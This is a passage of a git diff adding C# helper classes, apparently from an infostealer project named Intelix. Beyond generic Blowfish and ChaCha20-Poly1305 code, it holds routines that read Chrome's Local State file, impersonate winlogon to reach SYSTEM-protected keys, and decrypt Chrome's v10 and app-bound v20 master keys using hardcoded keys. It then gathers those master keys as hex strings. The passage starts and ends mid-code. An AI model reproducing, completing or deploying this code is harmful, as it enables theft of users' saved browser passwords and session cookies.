1395535956u, 2413381860u, 1841049896u, 1491858159u, 885456874u, + 4264095073u, 4001119347u, 1565136089u, 3898914787u, 1108368660u, 540939232u, 1173283510u, 2745871338u, 3681308437u, 4207628240u, + 3343053890u, 4016749493u, 1699691293u, 1103962373u, 3625875870u, 2256883143u, 3830138730u, 1031889488u, 3479347698u, 1535977030u, + 4236805024u, 3251091107u, 2132092099u, 1774941330u, 1199868427u, 1452454533u, 157007616u, 2904115357u, 342012276u, 595725824u, + 1480756522u, 206960106u, 497939518u, 591360097u, 863170706u, 2375253569u, 3596610801u, 1814182875u, 2094937945u, 3421402208u, + 1082520231u, 3463918190u, 2785509508u, 435703966u, 3908032597u, 1641649973u, 2842273706u, 3305899714u, 1510255612u, 2148256476u, + 2655287854u, 3276092548u, 4258621189u, 236887753u, 3681803219u, 274041037u, 1734335097u, 3815195456u, 3317970021u, 1899903192u, + 1026095262u, 4050517792u, 356393447u, 2410691914u, 3873677099u, 3682840055u + }, + { + 3913112168u, 2491498743u, 4132185628u, 2489919796u, 1091903735u, 1979897079u, 3170134830u, 3567386728u, 3557303409u, 857797738u, + 1136121015u, 1342202287u, 507115054u, 2535736646u, 337727348u, 3213592640u, 1301675037u, 2528481711u, 1895095763u, 1721773893u, + 3216771564u, 62756741u, 2142006736u, 835421444u, 2531993523u, 1442658625u, 3659876326u, 2882144922u, 676362277u, 1392781812u, + 170690266u, 3921047035u, 1759253602u, 3611846912u, 1745797284u, 664899054u, 1329594018u, 3901205900u, 3045908486u, 2062866102u, + 2865634940u, 3543621612u, 3464012697u, 1080764994u, 553557557u, 3656615353u, 3996768171u, 991055499u, 499776247u, 1265440854u, + 648242737u, 3940784050u, 980351604u, 3713745714u, 1749149687u, 3396870395u, 4211799374u, 3640570775u, 1161844396u, 3125318951u, + 1431517754u, 545492359u, 4268468663u, 3499529547u, 1437099964u, 2702547544u, 3433638243u, 2581715763u, 2787789398u, 1060185593u, + 1593081372u, 2418618748u, 4260947970u, 69676912u, 2159744348u, 86519011u, 2512459080u, 3838209314u, 1220612927u, 3339683548u, + 133810670u, 1090789135u, 1078426020u, 1569222167u, 845107691u, 3583754449u, 4072456591u, 1091646820u, 628848692u, 1613405280u, + 3757631651u, 526609435u, 236106946u, 48312990u, 2942717905u, 3402727701u, 1797494240u, 859738849u, 992217954u, 4005476642u, + 2243076622u, 3870952857u, 3732016268u, 765654824u, 3490871365u, 2511836413u, 1685915746u, 3888969200u, 1414112111u, 2273134842u, + 3281911079u, 4080962846u, 172450625u, 2569994100u, 980381355u, 4109958455u, 2819808352u, 2716589560u, 2568741196u, 3681446669u, + 3329971472u, 1835478071u, 660984891u, 3704678404u, 4045999559u, 3422617507u, 3040415634u, 1762651403u, 1719377915u, 3470491036u, + 2693910283u, 3642056355u, 3138596744u, 1364962596u, 2073328063u, 1983633131u, 926494387u, 3423689081u, 2150032023u, 4096667949u, + 1749200295u, 3328846651u, 309677260u, 2016342300u, 1779581495u, 3079819751u, 111262694u, 1274766160u, 443224088u, 298511866u, + 1025883608u, 3806446537u, 1145181785u, 168956806u, 3641502830u, 3584813610u, 1689216846u, 3666258015u, 3200248200u, 1692713982u, + 2646376535u, 4042768518u, 1618508792u, 1610833997u, 3523052358u, 4130873264u, 2001055236u, 3610705100u, 2202168115u, 4028541809u, + 2961195399u, 1006657119u, 2006996926u, 3186142756u, 1430667929u, 3210227297u, 1314452623u, 4074634658u, 4101304120u, 2273951170u, + 1399257539u, 3367210612u, 3027628629u, 1190975929u, 2062231137u, 2333990788u, 2221543033u, 2438960610u, 1181637006u, 548689776u, + 2362791313u, 3372408396u, 3104550113u, 3145860560u, 296247880u, 1970579870u, 3078560182u, 3769228297u, 1714227617u, 3291629107u, + 3898220290u, 166772364u, 1251581989u, 493813264u, 448347421u, 195405023u, 2709975567u, 677966185u, 3703036547u, 1463355134u, + 2715995803u, 1338867538u, 1343315457u, 2802222074u, 2684532164u, 233230375u, 2599980071u, 2000651841u, 3277868038u, 1638401717u, + 4028070440u, 3237316320u, 6314154u, 819756386u, 300326615u, 590932579u, 1405279636u, 3267499572u, 3150704214u, 2428286686u, + 3959192993u, 3461946742u, 1862657033u, 1266418056u, 963775037u, 2089974820u, 2263052895u, 1917689273u, 448879540u, 3550394620u, + 3981727096u, 150775221u, 3627908307u, 1303187396u, 508620638u, 2975983352u, 2726630617u, 1817252668u, 1876281319u, 1457606340u, + 908771278u, 3720792119u, 3617206836u, 2455994898u, 1729034894u, 1080033504u + }, + { + 976866871u, 3556439503u, 2881648439u, 1522871579u, 1555064734u, 1336096578u, 3548522304u, 2579274686u, 3574697629u, 3205460757u, + 3593280638u, 3338716283u, 3079412587u, 564236357u, 2993598910u, 1781952180u, 1464380207u, 3163844217u, 3332601554u, 1699332808u, + 1393555694u, 1183702653u, 3581086237u, 1288719814u, 691649499u, 2847557200u, 2895455976u, 3193889540u, 2717570544u, 1781354906u, + 1676643554u, 2592534050u, 3230253752u, 1126444790u, 2770207658u, 2633158820u, 2210423226u, 2615765581u, 2414155088u, 3127139286u, + 673620729u, 2805611233u, 1269405062u, 4015350505u, 3341807571u, 4149409754u, 1057255273u, 2012875353u, 2162469141u, 2276492801u, + 2601117357u, 993977747u, 3918593370u, 2654263191u, 753973209u, 36408145u, 2530585658u, 25011837u, 3520020182u, 2088578344u, + 530523599u, 2918365339u, 1524020338u, 1518925132u, 3760827505u, 3759777254u, 1202760957u, 3985898139u, 3906192525u, 674977740u, + 4174734889u, 2031300136u, 2019492241u, 3983892565u, 4153806404u, 3822280332u, 352677332u, 2297720250u, 60907813u, 90501309u, + 3286998549u, 1016092578u, 2535922412u, 2839152426u, 457141659u, 509813237u, 4120667899u, 652014361u, 1966332200u, 2975202805u, + 55981186u, 2327461051u, 676427537u, 3255491064u, 2882294119u, 3433927263u, 1307055953u, 942726286u, 933058658u, 2468411793u, + 3933900994u, 4215176142u, 1361170020u, 2001714738u, 2830558078u, 3274259782u, 1222529897u, 1679025792u, 2729314320u, 3714953764u, + 1770335741u, 151462246u, 3013232138u, 1682292957u, 1483529935u, 471910574u, 1539241949u, 458788160u, 3436315007u, 1807016891u, + 3718408830u, 978976581u, 1043663428u, 3165965781u, 1927990952u, 4200891579u, 2372276910u, 3208408903u, 3533431907u, 1412390302u, + 2931980059u, 4132332400u, 1947078029u, 3881505623u, 4168226417u, 2941484381u, 1077988104u, 1320477388u, 886195818u, 18198404u, + 3786409000u, 2509781533u, 112762804u, 3463356488u, 1866414978u, 891333506u, 18488651u, 661792760u, 1628790961u, 3885187036u, + 3141171499u, 876946877u, 2693282273u, 1372485963u, 791857591u, 2686433993u, 3759982718u, 3167212022u, 3472953795u, 2716379847u, + 445679433u, 3561995674u, 3504004811u, 3574258232u, 54117162u, 3331405415u, 2381918588u, 3769707343u, 4154350007u, 1140177722u, + 4074052095u, 668550556u, 3214352940u, 367459370u, 261225585u, 2610173221u, 4209349473u, 3468074219u, 3265815641u, 314222801u, + 3066103646u, 3808782860u, 282218597u, 3406013506u, 3773591054u, 379116347u, 1285071038u, 846784868u, 2669647154u, 3771962079u, + 3550491691u, 2305946142u, 453669953u, 1268987020u, 3317592352u, 3279303384u, 3744833421u, 2610507566u, 3859509063u, 266596637u, + 3847019092u, 517658769u, 3462560207u, 3443424879u, 370717030u, 4247526661u, 2224018117u, 4143653529u, 4112773975u, 2788324899u, + 2477274417u, 1456262402u, 2901442914u, 1517677493u, 1846949527u, 2295493580u, 3734397586u, 2176403920u, 1280348187u, 1908823572u, + 3871786941u, 846861322u, 1172426758u, 3287448474u, 3383383037u, 1655181056u, 3139813346u, 901632758u, 1897031941u, 2986607138u, + 3066810236u, 3447102507u, 1393639104u, 373351379u, 950779232u, 625454576u, 3124240540u, 4148612726u, 2007998917u, 544563296u, + 2244738638u, 2330496472u, 2058025392u, 1291430526u, 424198748u, 50039436u, 29584100u, 3605783033u, 2429876329u, 2791104160u, + 1057563949u, 3255363231u, 3075367218u, 3463963227u, 1469046755u, 985887462u + } + }; + + private uint[] SubKey; + + private uint[,] SBox; + + private uint _F_Transform(uint x) + { + byte[] bytes = BitConverter.GetBytes(x); + if (!BitConverter.IsLittleEndian) + { + Array.Reverse(bytes); + } + return ((SBox[0, bytes[3]] + SBox[1, bytes[2]]) ^ SBox[2, bytes[1]]) + SBox[3, bytes[0]]; + } + + public void Encrypt(byte[] srcBytes, Endian endian) + { + byte[] array = new byte[4]; + byte[] array2 = new byte[4]; + Array.Copy(srcBytes, 0, array, 0, 4); + Array.Copy(srcBytes, 4, array2, 0, 4); + if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little)) + { + Array.Reverse(array); + Array.Reverse(array2); + } + uint num = BitConverter.ToUInt32(array, 0); + uint num2 = BitConverter.ToUInt32(array2, 0); + num ^= SubKey[0]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[1]; + num ^= _F_Transform(num2); + num ^= SubKey[2]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[3]; + num ^= _F_Transform(num2); + num ^= SubKey[4]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[5]; + num ^= _F_Transform(num2); + num ^= SubKey[6]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[7]; + num ^= _F_Transform(num2); + num ^= SubKey[8]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[9]; + num ^= _F_Transform(num2); + num ^= SubKey[10]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[11]; + num ^= _F_Transform(num2); + num ^= SubKey[12]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[13]; + num ^= _F_Transform(num2); + num ^= SubKey[14]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[15]; + num ^= _F_Transform(num2); + num ^= SubKey[16]; + num2 ^= SubKey[17]; + array = BitConverter.GetBytes(num2); + array2 = BitConverter.GetBytes(num); + if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little)) + { + Array.Reverse(array); + Array.Reverse(array2); + } + Array.Copy(array, 0, srcBytes, 0, 4); + Array.Copy(array2, 0, srcBytes, 4, 4); + } + + public void Decrypt(byte[] srcBytes, Endian endian) + { + byte[] array = new byte[4]; + byte[] array2 = new byte[4]; + Array.Copy(srcBytes, 0, array, 0, 4); + Array.Copy(srcBytes, 4, array2, 0, 4); + if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little)) + { + Array.Reverse(array); + Array.Reverse(array2); + } + uint num = BitConverter.ToUInt32(array2, 0); + uint num2 = BitConverter.ToUInt32(array, 0); + num ^= SubKey[16]; + num2 ^= SubKey[17]; + num ^= _F_Transform(num2); + num2 ^= SubKey[15]; + num2 ^= _F_Transform(num); + num ^= SubKey[14]; + num ^= _F_Transform(num2); + num2 ^= SubKey[13]; + num2 ^= _F_Transform(num); + num ^= SubKey[12]; + num ^= _F_Transform(num2); + num2 ^= SubKey[11]; + num2 ^= _F_Transform(num); + num ^= SubKey[10]; + num ^= _F_Transform(num2); + num2 ^= SubKey[9]; + num2 ^= _F_Transform(num); + num ^= SubKey[8]; + num ^= _F_Transform(num2); + num2 ^= SubKey[7]; + num2 ^= _F_Transform(num); + num ^= SubKey[6]; + num ^= _F_Transform(num2); + num2 ^= SubKey[5]; + num2 ^= _F_Transform(num); + num ^= SubKey[4]; + num ^= _F_Transform(num2); + num2 ^= SubKey[3]; + num2 ^= _F_Transform(num); + num ^= SubKey[2]; + num ^= _F_Transform(num2); + num2 ^= SubKey[1]; + num2 ^= _F_Transform(num); + num ^= SubKey[0]; + array = BitConverter.GetBytes(num); + array2 = BitConverter.GetBytes(num2); + if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little)) + { + Array.Reverse(array); + Array.Reverse(array2); + } + Array.Copy(array, 0, srcBytes, 0, 4); + Array.Copy(array2, 0, srcBytes, 4, 4); + } + + public Blowfish(byte[] UserKey) + { + if (UserKey.Length < MinUserKeyLength) + { + throw new ArgumentException("UserKey is too short."); + } + if (UserKey.Length > 56) + { + throw new ArgumentException("UserKey is too long."); + } + SubKey = OriginPBox.Clone() as uint[]; + SBox = OriginSBox.Clone() as uint[,]; + for (int i = 0; i < 18; i++) + { + uint num = 0u; + num <<= 8; + num |= UserKey[i * 4 % UserKey.Length]; + num <<= 8; + num |= UserKey[(i * 4 + 1) % UserKey.Length]; + num <<= 8; + num |= UserKey[(i * 4 + 2) % UserKey.Length]; + num <<= 8; + num |= UserKey[(i * 4 + 3) % UserKey.Length]; + SubKey[i] ^= num; + } + byte[] array = new byte[8]; + for (int j = 0; j < 9; j++) + { + Encrypt(array, Endian.Little); + Buffer.BlockCopy(array, 0, SubKey, 8 * j, 8); + } + for (int k = 0; k < 4; k++) + { + for (int l = 0; l < 128; l++) + { + Encrypt(array, Endian.Little); + Buffer.BlockCopy(array, 0, SBox, 1024 * k + 8 * l, 8); + } + } + } +} diff --git a/Intelix.Helper.Encrypted/ChaCha20Poly1305.cs b/Intelix.Helper.Encrypted/ChaCha20Poly1305.cs new file mode 100644 index 0000000..d93f378 --- /dev/null +++ b/Intelix.Helper.Encrypted/ChaCha20Poly1305.cs @@ -0,0 +1,244 @@ +using System; +using System.Numerics; +using System.Security.Cryptography; + +namespace Intelix.Helper.Encrypted; + +public static class ChaCha20Poly1305 +{ + public static byte[] Decrypt(byte[] key32, byte[] iv12, byte[] ciphertext, byte[] tag, byte[] aad = null) + { + if (key32 == null) + { + throw new ArgumentNullException("key32"); + } + if (key32.Length != 32) + { + throw new ArgumentException("Key must be 32 bytes", "key32"); + } + if (iv12 == null) + { + throw new ArgumentNullException("iv12"); + } + if (iv12.Length != 12) + { + throw new ArgumentException("IV must be 12 bytes", "iv12"); + } + if (ciphertext == null) + { + throw new ArgumentNullException("ciphertext"); + } + if (tag == null) + { + throw new ArgumentNullException("tag"); + } + if (tag.Length != 16) + { + throw new ArgumentException("Tag must be 16 bytes", "tag"); + } + if (aad == null) + { + aad = Array.Empty(); + } + byte[] array = ChaCha20Block(key32, 0u, iv12); + byte[] array2 = new byte[32]; + Buffer.BlockCopy(array, 0, array2, 0, 32); + byte[] msg = BuildPoly1305Message(aad, ciphertext); + if (!FixedTimeEquals(Poly1305TagWithBigInteger(array2, msg), tag)) + { + Array.Clear(array, 0, array.Length); + Array.Clear(array2, 0, array2.Length); + throw new CryptographicException("ChaCha20-Poly1305 authentication failed (tag mismatch)."); + } + byte[] array3 = new byte[ciphertext.Length]; + ChaCha20Xor(key32, 1u, iv12, ciphertext, array3); + Array.Clear(array, 0, array.Length); + Array.Clear(array2, 0, array2.Length); + return array3; + } + + private static byte[] ChaCha20Block(byte[] key32, uint counter, byte[] nonce12) + { + uint[] array = new uint[16] + { + 1634760805u, 857760878u, 2036477234u, 1797285236u, 0u, 0u, 0u, 0u, 0u, 0u, + 0u, 0u, 0u, 0u, 0u, 0u + }; + for (int i = 0; i < 8; i++) + { + array[4 + i] = ToUInt32Little(key32, i * 4); + } + array[12] = counter; + array[13] = ToUInt32Little(nonce12, 0); + array[14] = ToUInt32Little(nonce12, 4); + array[15] = ToUInt32Little(nonce12, 8); + uint[] array2 = new uint[16]; + Array.Copy(array, array2, 16); + for (int j = 0; j < 10; j++) + { + QuarterRound(ref array2[0], ref array2[4], ref array2[8], ref array2[12]); + QuarterRound(ref array2[1], ref array2[5], ref array2[9], ref array2[13]); + QuarterRound(ref array2[2], ref array2[6], ref array2[10], ref array2[14]); + QuarterRound(ref array2[3], ref array2[7], ref array2[11], ref array2[15]); + QuarterRound(ref array2[0], ref array2[5], ref array2[10], ref array2[15]); + QuarterRound(ref array2[1], ref array2[6], ref array2[11], ref array2[12]); + QuarterRound(ref array2[2], ref array2[7], ref array2[8], ref array2[13]); + QuarterRound(ref array2[3], ref array2[4], ref array2[9], ref array2[14]); + } + byte[] array3 = new byte[64]; + for (int k = 0; k < 16; k++) + { + LittleEndian(array2[k] + array[k], array3, k * 4); + } + return array3; + } + + private static void QuarterRound(ref uint a, ref uint b, ref uint c, ref uint d) + { + a += b; + d ^= a; + d = Rol(d, 16); + c += d; + b ^= c; + b = Rol(b, 12); + a += b; + d ^= a; + d = Rol(d, 8); + c += d; + b ^= c; + b = Rol(b, 7); + } + + private static uint Rol(uint x, int n) + { + return (x << n) | (x >> 32 - n); + } + + private static uint ToUInt32Little(byte[] bs, int off) + { + return (uint)(bs[off] | (bs[off + 1] << 8) | (bs[off + 2] << 16) | (bs[off + 3] << 24)); + } + + private static void LittleEndian(uint v, byte[] outbuf, int off) + { + outbuf[off] = (byte)(v & 0xFF); + outbuf[off + 1] = (byte)((v >> 8) & 0xFF); + outbuf[off + 2] = (byte)((v >> 16) & 0xFF); + outbuf[off + 3] = (byte)((v >> 24) & 0xFF); + } + + private static void ChaCha20Xor(byte[] key, uint counter, byte[] nonce, byte[] input, byte[] output) + { + if (input == null || input.Length == 0) + { + return; + } + int i = 0; + uint num = counter; + int num2; + for (; i < input.Length; i += num2) + { + byte[] array = ChaCha20Block(key, num, nonce); + num++; + num2 = Math.Min(64, input.Length - i); + for (int j = 0; j < num2; j++) + { + output[i + j] = (byte)(input[i + j] ^ array[j]); + } + } + } + + private static byte[] BuildPoly1305Message(byte[] aad, byte[] ciphertext) + { + int num = ((aad != null) ? aad.Length : 0); + int num2 = ((ciphertext != null) ? ciphertext.Length : 0); + int num3 = (16 - num % 16) % 16; + int num4 = (16 - num2 % 16) % 16; + byte[] array = new byte[num + num3 + num2 + num4 + 8 + 8]; + int num5 = 0; + if (num > 0) + { + Buffer.BlockCopy(aad, 0, array, num5, num); + num5 += num; + } + if (num3 > 0) + { + num5 += num3; + } + if (num2 > 0) + { + Buffer.BlockCopy(ciphertext, 0, array, num5, num2); + num5 += num2; + } + if (num4 > 0) + { + num5 += num4; + } + byte[] bytes = BitConverter.GetBytes((ulong)num); + byte[] bytes2 = BitConverter.GetBytes((ulong)num2); + Buffer.BlockCopy(bytes, 0, array, num5, 8); + num5 += 8; + Buffer.BlockCopy(bytes2, 0, array, num5, 8); + num5 += 8; + return array; + } + + private static byte[] Poly1305TagWithBigInteger(byte[] oneTimeKey32, byte[] msg) + { + byte[] array = new byte[16]; + Buffer.BlockCopy(oneTimeKey32, 0, array, 0, 16); + array[3] &= 15; + array[7] &= 15; + array[11] &= 15; + array[15] &= 15; + array[4] &= 252; + array[8] &= 252; + array[12] &= 252; + byte[] array2 = new byte[16]; + Buffer.BlockCopy(oneTimeKey32, 16, array2, 0, 16); + BigInteger bigInteger = new BigInteger(AppendZero(array)); + BigInteger bigInteger2 = new BigInteger(AppendZero(array2)); + BigInteger bigInteger3 = (BigInteger.One << 130) - 5; + BigInteger bigInteger4 = BigInteger.Zero; + for (int i = 0; i < msg.Length; i += 16) + { + int num = Math.Min(16, msg.Length - i); + byte[] array3 = new byte[num]; + Buffer.BlockCopy(msg, i, array3, 0, num); + BigInteger bigInteger5 = new BigInteger(AppendZero(array3)); + BigInteger bigInteger6 = BigInteger.One << 8 * num; + bigInteger5 += bigInteger6; + bigInteger4 += bigInteger5; + bigInteger4 = bigInteger4 * bigInteger % bigInteger3; + } + byte[] array4 = (bigInteger4 + bigInteger2).ToByteArray(); + byte[] array5 = new byte[16]; + for (int j = 0; j < 16 && j < array4.Length; j++) + { + array5[j] = array4[j]; + } + return array5; + } + + private static byte[] AppendZero(byte[] b) + { + byte[] array = new byte[b.Length + 1]; + Buffer.BlockCopy(b, 0, array, 0, b.Length); + array[array.Length - 1] = 0; + return array; + } + + private static bool FixedTimeEquals(byte[] a, byte[] b) + { + if (a == null || b == null || a.Length != b.Length) + { + return false; + } + int num = 0; + for (int i = 0; i < a.Length; i++) + { + num |= a[i] ^ b[i]; + } + return num == 0; + } +} diff --git a/Intelix.Helper.Encrypted/CngDecryptor.cs b/Intelix.Helper.Encrypted/CngDecryptor.cs new file mode 100644 index 0000000..8b1ffaa --- /dev/null +++ b/Intelix.Helper.Encrypted/CngDecryptor.cs @@ -0,0 +1,51 @@ +using System; + +namespace Intelix.Helper.Encrypted; + +public static class CngDecryptor +{ + private const int NCRYPT_SILENT_FLAG = 64; + + public static byte[] Decrypt(byte[] inputData, string providerName = "Microsoft Software Key Storage Provider", string keyName = "Google Chromekey1") + { + IntPtr phProvider = IntPtr.Zero; + IntPtr phKey = IntPtr.Zero; + try + { + int num = NativeMethods.NCryptOpenStorageProvider(out phProvider, providerName, 0); + if (num != 0) + { + throw new Exception($"Ошибка NCryptOpenStorageProvider: Код {num}"); + } + num = NativeMethods.NCryptOpenKey(phProvider, out phKey, keyName, 0, 0); + if (num != 0) + { + throw new Exception($"Ошибка NCryptOpenKey: Код {num}"); + } + num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, null, 0, out var pcbResult, 64); + if (num != 0) + { + throw new Exception($"Ошибка определения размера NCryptDecrypt: Код {num}"); + } + byte[] array = new byte[pcbResult]; + num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, array, array.Length, out pcbResult, 64); + if (num != 0) + { + throw new Exception($"Ошибка NCryptDecrypt: Код {num}"); + } + Array.Resize(ref array, pcbResult); + return array; + } + finally + { + if (phKey != IntPtr.Zero) + { + NativeMethods.NCryptFreeObject(phKey); + } + if (phProvider != IntPtr.Zero) + { + NativeMethods.NCryptFreeObject(phProvider); + } + } + } +} diff --git a/Intelix.Helper.Encrypted/DpApi.cs b/Intelix.Helper.Encrypted/DpApi.cs new file mode 100644 index 0000000..0b4b92d --- /dev/null +++ b/Intelix.Helper.Encrypted/DpApi.cs @@ -0,0 +1,48 @@ +using System; +using System.Runtime.InteropServices; + +namespace Intelix.Helper.Encrypted; + +public static class DpApi +{ + private static NativeMethods.CryptprotectPromptstruct Prompt = new NativeMethods.CryptprotectPromptstruct + { + cbSize = Marshal.SizeOf(typeof(NativeMethods.CryptprotectPromptstruct)), + dwPromptFlags = 0, + hwndApp = IntPtr.Zero, + szPrompt = null + }; + + public static byte[] Decrypt(byte[] bCipher) + { + NativeMethods.DataBlob pDataIn = default(NativeMethods.DataBlob); + NativeMethods.DataBlob pDataOut = default(NativeMethods.DataBlob); + NativeMethods.DataBlob pOptionalEntropy = default(NativeMethods.DataBlob); + string ppszDataDescr = string.Empty; + GCHandle gCHandle = GCHandle.Alloc(bCipher, GCHandleType.Pinned); + pDataIn.cbData = bCipher.Length; + pDataIn.pbData = gCHandle.AddrOfPinnedObject(); + try + { + if (!NativeMethods.CryptUnprotectData(ref pDataIn, ref ppszDataDescr, ref pOptionalEntropy, IntPtr.Zero, ref Prompt, 0, ref pDataOut) || pDataOut.cbData == 0) + { + return null; + } + byte[] array = new byte[pDataOut.cbData]; + Marshal.Copy(pDataOut.pbData, array, 0, pDataOut.cbData); + return array; + } + finally + { + gCHandle.Free(); + if (pDataOut.pbData != IntPtr.Zero) + { + Marshal.FreeHGlobal(pDataOut.pbData); + } + if (pOptionalEntropy.pbData != IntPtr.Zero) + { + Marshal.FreeHGlobal(pOptionalEntropy.pbData); + } + } + } +} diff --git a/Intelix.Helper.Encrypted/LocalEncryptor.cs b/Intelix.Helper.Encrypted/LocalEncryptor.cs new file mode 100644 index 0000000..697e49a --- /dev/null +++ b/Intelix.Helper.Encrypted/LocalEncryptor.cs @@ -0,0 +1,68 @@ +using System; +using System.Text; +using Intelix.Helper.Sql; + +namespace Intelix.Helper.Encrypted; + +public static class LocalEncryptor +{ + public static byte[] ExtractEncryptionKey(SqLite sql, byte[] encryptionKey) + { + byte[] array = new byte[0]; + if (sql.ReadTable("meta")) + { + for (int i = 0; i < sql.GetRowCount(); i++) + { + if (sql.GetValue(i, 0).Equals("local_encryptor_data")) + { + array = Encoding.Default.GetBytes(sql.GetValue(i, 1)); + break; + } + } + } + int num = FindByteSequence(array, Encoding.ASCII.GetBytes("v10")); + if (num == -1) + { + return null; + } + byte[] array2 = new byte[96]; + Array.Copy(array, num + 3, array2, 0, 96); + byte[] array3 = new byte[12]; + Array.Copy(array2, 0, array3, 0, 12); + int num2 = array2.Length - 12 - 16; + byte[] array4 = new byte[num2]; + Array.Copy(array2, 12, array4, 0, num2); + byte[] array5 = new byte[16]; + Array.Copy(array2, array2.Length - 16, array5, 0, 16); + byte[] array6 = AesGcm256.Decrypt(encryptionKey, array3, null, array4, array5); + if (BitConverter.ToInt32(array6, 0) == 538050824) + { + byte[] array7 = new byte[32]; + Array.Copy(array6, 4, array7, 0, 32); + return array7; + } + return null; + } + + private static int FindByteSequence(byte[] src, byte[] pattern) + { + int num = src.Length - pattern.Length + 1; + for (int i = 0; i < num; i++) + { + if (src[i] != pattern[0]) + { + continue; + } + int num2 = pattern.Length - 1; + while (num2 >= 1 && src[i + num2] == pattern[num2]) + { + if (num2 == 1) + { + return i; + } + num2--; + } + } + return -1; + } +} diff --git a/Intelix.Helper.Encrypted/LocalState.cs b/Intelix.Helper.Encrypted/LocalState.cs new file mode 100644 index 0000000..4e37908 --- /dev/null +++ b/Intelix.Helper.Encrypted/LocalState.cs @@ -0,0 +1,226 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; + +namespace Intelix.Helper.Encrypted; + +public static class LocalState +{ + private static readonly ConcurrentDictionary> _masterKeyCacheV10 = new ConcurrentDictionary>(); + + private static readonly ConcurrentDictionary> _masterKeyCacheV20 = new ConcurrentDictionary>(); + + private static readonly ConcurrentDictionary _locks = new ConcurrentDictionary(); + + public static List GetMasterKeys() + { + List list = new List(); + foreach (KeyValuePair> item in _masterKeyCacheV10) + { + try + { + string text = item.Key ?? ""; + Lazy value = item.Value; + if (value == null) + { + continue; + } + byte[] value2 = value.Value; + if (value2 != null) + { + StringBuilder stringBuilder = new StringBuilder(value2.Length * 2); + byte[] array = value2; + foreach (byte b in array) + { + stringBuilder.Append(b.ToString("X2")); + } + list.Add(new string[3] + { + text, + "v10", + stringBuilder.ToString() + }); + } + } + catch + { + } + } + foreach (KeyValuePair> item2 in _masterKeyCacheV20) + { + try + { + string text2 = item2.Key ?? ""; + Lazy value3 = item2.Value; + if (value3 == null) + { + continue; + } + byte[] value4 = value3.Value; + if (value4 != null) + { + StringBuilder stringBuilder2 = new StringBuilder(value4.Length * 2); + byte[] array = value4; + foreach (byte b2 in array) + { + stringBuilder2.Append(b2.ToString("X2")); + } + list.Add(new string[3] + { + text2, + "v20", + stringBuilder2.ToString() + }); + } + } + catch + { + } + } + return list; + } + + public static byte[] MasterKeyV20(string localstate) + { + SemaphoreSlim orAdd = _locks.GetOrAdd(localstate, (string _) => new SemaphoreSlim(1, 1)); + orAdd.Wait(); + try + { + if (_masterKeyCacheV20.TryGetValue(localstate, out var value)) + { + return value.Value; + } + Lazy lazy = new Lazy(() => ComputeMasterKeyV20(localstate)); + _masterKeyCacheV20[localstate] = lazy; + return lazy.Value; + } + finally + { + orAdd.Release(); + } + } + + private static byte[] ComputeMasterKeyV20(string localstate) + { + try + { + Match match = Regex.Match(LocalStateContent(localstate), "\"app_bound_encrypted_key\"\\s*:\\s*\"([^\"]+)\""); + if (!match.Success) + { + return null; + } + BlobParsedData blobParsedData = ParseKeyBlob.Parse(DecryptAsSystemUser(Convert.FromBase64String(match.Groups[1].Value).Skip(4).ToArray())); + switch (blobParsedData.Flag) + { + case 1: + return AesGcm256.Decrypt(new byte[32] + { + 179, 28, 110, 36, 26, 200, 70, 114, 141, 169, + 193, 250, 196, 147, 102, 81, 207, 251, 148, 77, + 20, 58, 184, 22, 39, 107, 204, 109, 160, 40, + 71, 135 + }, blobParsedData.Iv, null, blobParsedData.Ciphertext, blobParsedData.Tag); + case 2: + return ChaCha20Poly1305.Decrypt(new byte[32] + { + 233, 143, 55, 215, 244, 225, 250, 67, 61, 25, + 48, 77, 194, 37, 128, 66, 9, 14, 45, 29, + 126, 234, 118, 112, 212, 31, 115, 141, 8, 114, + 150, 96 + }, blobParsedData.Iv, blobParsedData.Ciphertext, blobParsedData.Tag); + case 3: + { + byte[] array = new byte[32] + { + 204, 248, 161, 206, 197, 102, 5, 184, 81, 117, + 82, 186, 26, 45, 6, 28, 3, 162, 158, 144, + 39, 79, 178, 252, 245, 155, 164, 183, 92, 57, + 35, 144 + }; + byte[] array2 = CDecryptor(blobParsedData.EncryptedAesKey); + for (int i = 0; i < array2.Length; i++) + { + array2[i] ^= array[i]; + } + return AesGcm256.Decrypt(array2, blobParsedData.Iv, null, blobParsedData.Ciphertext, blobParsedData.Tag); + } + case 32: + return blobParsedData.EncryptedAesKey; + default: + return null; + } + } + catch + { + return null; + } + } + + public static byte[] MasterKeyV10(string localstate) + { + SemaphoreSlim orAdd = _locks.GetOrAdd(localstate, (string _) => new SemaphoreSlim(1, 1)); + orAdd.Wait(); + try + { + if (_masterKeyCacheV10.TryGetValue(localstate, out var value)) + { + return value.Value; + } + Lazy lazy = new Lazy(() => ComputeMasterKeyV10(localstate)); + _masterKeyCacheV10[localstate] = lazy; + return lazy.Value; + } + finally + { + orAdd.Release(); + } + } + + private static byte[] ComputeMasterKeyV10(string localstate) + { + try + { + Match match = Regex.Match(LocalStateContent(localstate), "\"encrypted_key\":\"(.*?)\""); + if (!match.Success) + { + return null; + } + return DpApi.Decrypt(Convert.FromBase64String(match.Groups[1].Value).Skip(5).ToArray()); + } + catch + { + return null; + } + } + + private static byte[] CDecryptor(byte[] encryptedData) + { + using (ImpersonationHelper.ImpersonateWinlogon()) + { + return CngDecryptor.Decrypt(encryptedData); + } + } + + private static byte[] DecryptAsSystemUser(byte[] encryptedData) + { + using (ImpersonationHelper.ImpersonateWinlogon()) + { + encryptedData = 